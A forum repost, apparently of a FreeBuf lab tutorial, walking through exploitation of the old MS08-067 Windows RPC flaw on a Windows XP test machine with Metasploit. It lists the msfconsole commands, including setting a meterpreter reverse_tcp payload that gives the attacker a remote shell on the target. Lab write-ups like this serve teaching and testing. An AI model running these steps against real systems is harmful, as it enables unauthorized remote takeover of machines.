搜索

[16874] 2021-06-06_利用msf工具进行靶机渗透研究

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-06-06_利用msf工具进行靶机渗透研究 利 用 m s f 工 具 进 行 靶 机 渗 透 研 究 Z x l 2 6 0 5   F r e e B u f   2 0 2 1 - 0 6 - 0 6 漏 洞 简 介 漏 洞 简 介 M S 0 8 - 0 6 7 漏 洞 将 会 影 响 W i n d o w s   2 0 0 0 / X P / S e r v e r   2 0 0 3 / V i s t a / S e r v e r   2 0 0 8 的 各 个 版 本 ， 甚 至 还 包 括 测 试 阶 段 的 W i n d o w s   7   P r o - B e t a 。 如 果 用 户 在 受 影 响 的 系 统 上 收 到 特 制 的   R P C   请 求 ， 则 该 漏 洞 可 能 允 许 远 程 执 行 代 码 。 在   M i c r o s o f t   W i n d o w s   2 0 0 0 、 W i n d o w s   X P   和   W i n d o w s   S e r v e r   2 0 0 3   系 统 上 ， 攻 击 者 可 能 未 经 身 份 验 证 即 可 利 用 此 漏 洞 运 行 任 意 代 码 。 此 漏 洞 可 能 用 于 进 行 蠕 虫 攻 击 。 防 火 墙 最 佳 做 法 和 标 准 的 默 认 防 火 墙 配 置 有 助 于 保 护 网 络 资 源 免 受 从 企 业 外 部 发 起 的 攻 击 。 实 验 环 境 ： 实 验 环 境 ： 工 具 ： m e t a s p l o i t 靶 机 两 台 ： w i n d o w s   x p 2 和 k a l i 2 0 2 0 攻 击 机 的 I P （ k a l i ） ： 1 9 2 . 1 6 8 . 2 9 . 1 3 3 靶 机 I P （ x p 2 ） :   1 9 2 . 1 6 8 . 2 9 . 1 3 4 实 验 条 件 ： 两 台 机 子 可 以 互 通 的 ， 并 且 w i n d o w s   x p 2 （ 需 打 开 4 4 5 端 口 ， 默 认 为 打 开 ） 开 启 了 4 4 5 端 口 ， 防 火 墙 是 关 闭 的 。 步 骤 ： 步 骤 ： （ 1 ） 在 k a l i 终 端 输 入 m s f c o n s o l e ， 启 动 M e t a s p l o i t 工 具 （ 2 ） 输 入 命 令 s e a r c h   m s 0 8 _ 0 6 7 , 查 找 关 于 m s 0 8 _ 0 * * 6 7 的 漏 洞 模 块 。
（ 3 ） 输 入 如 下 命 令 ， 使 用 该 漏 洞 模 块 （ 4 ） 进 入 这 个 模 块 后 ， 用 s h o w   o p t i o n s   查 看 该 模 块 需 要 配 置 的 参 数 （ 5 ） 设 置 配 置 项 （ s h o w   o p t i o n s ） 设 置 靶 机 I P （ x p 2 ） s e t   R H O S T   1 9 2 . 1 6 8 . 2 9 . 1 3 4 设 置 要 执 行 的 设 置 要 执 行 的 p a y l o a d : s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p 设 置 攻 击 机 的 设 置 攻 击 机 的 I P （ （ k a l i ） ： ） ： s e t   L H O S T   1 9 2 . 1 6 8 . 2 9 . 1 3 3 设 置 要 攻 击 的 目 标 操 作 系 统 类 型 ： 设 置 要 攻 击 的 目 标 操 作 系 统 类 型 ： s e t   t a r g e t   3 4 用 用 s h o w   o p t i o n s 查 看 相 关 参 数 是 否 配 置 正 确 查 看 相 关 参 数 是 否 配 置 正 确
（ 6 ） 最 后 ， 输 入 e x p l o i t ， 回 车 运 行 , 进 入 到 特 殊 的 p a y l o a d — - m e t e r p r e t e r ， 该 p a y l o a d 在 控 制 靶 机 之 后 ， 能 够 对 靶 机 执 行 更 多 的 渗 透 攻 击 。 用   p w d 查 看 靶 机 当 前 的 工 作 路 径 ， 用 i p c o n f i g 命 令 查 看 靶 机 的 I P 地 址 配 置 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理